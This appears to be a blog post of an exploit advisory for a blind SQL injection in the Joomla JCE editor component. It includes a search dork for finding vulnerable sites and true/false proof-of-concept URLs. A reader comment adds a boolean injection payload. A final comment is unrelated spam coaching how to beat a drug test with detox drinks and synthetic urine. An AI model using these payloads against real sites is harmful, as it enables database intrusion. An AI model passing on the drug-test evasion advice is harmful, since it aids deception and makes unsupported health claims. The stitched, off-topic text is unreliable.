===================================================================
joomlacontenteditor (com_jce) BLIND sql injection vulnerability
===================================================================
Software: joomlacontenteditor (com_jce)
Vendor: www.joomlacontenteditor.net
Vuln Type: BLind SQL Injection
Download link: http://www.joomlacontenteditor.net/downloads/editor/joomla15x/category/joomla-15-2 (check here)
Author: eidelweiss
contact: eidelweiss[at]windowslive[dot]com
Home: www.eidelweiss.info
Dork: inurl:"/index.php?option=com_jce"
===================================================================
Description:
JCE makes creating and editing Joomla!®
content easy Add a set of tools to your Joomla!® environment that give you the power to create the kind of content you want,
without limitations, and without needing to know or learn HTML, XHTML, CSS...
===================================================================
exploit & p0c
[!] index.php?option=com_jce&Itemid=[valid Itemid]
Example p0c
[!] http://host/index.php?option=com_jce&Itemid=8 <= True
[!] http://host/index.php?option=com_jce&Itemid=-8 <= False
====================================================================
Nothing Impossible In This World Even Nobody`s Perfect
===================================================================
==========================| -=[ E0F ]=- |==========================
so what the added too can be exploit it??
ReplyDeleteI mean how can I exploite this lacuna ??
ReplyDeleteso what? it is bullshit, not bug
ReplyDeleteeven so...
ReplyDeleteindex.php?option=com_jce&Itemid=(null)or(if(1),61,null) - true
index.php?option=com_jce&Itemid=(null)or(if(0),61,null) - false
but....
They are slightly acidic and may also trigger acid reflux in people with a sensitive gut. Safely proceeding ahead, you need around two liters of organic cranberry juice, but be wary of buying the sweetened version; it may taste good, but it has loads of fructose hidden inside, which is detrimental to your liver's health. We recommend starting with this detox at least a day before the test. Keep drinking the cranberry juice all day and chase it down with water. This mixture is proven to be such a great diuretic that it will take you to the bathroom several times to urinate. But do not worry about excessive urination. After all, this is what you want – to get rid of the pesky THC remnants and clear your drug test. Be sure not to forget to drink water or a sports drink to avoid dehydration that may come along with peeing so recurrently. Pro tip: Clear urine from frequent urination may raise some suspicions. The professionals suggest taking Vitamin B along with your cranberry juice because it will add a little color to your clear pee. There are lots of synthetic urine kits that claim to be the best and look promising. However, many of them turn out to be fakes and scams. A high-quality artificial urine kit is expensive, and the majority cost above $100. That is due to the usage of essential ingredients found in actual urine, such as urea and creatinine, which are costly. The look and feel of the product from a legit brand will be more sophisticated. Do not ever buy them from a third-party website online, because there is a high risk of getting scammed this way.
ReplyDelete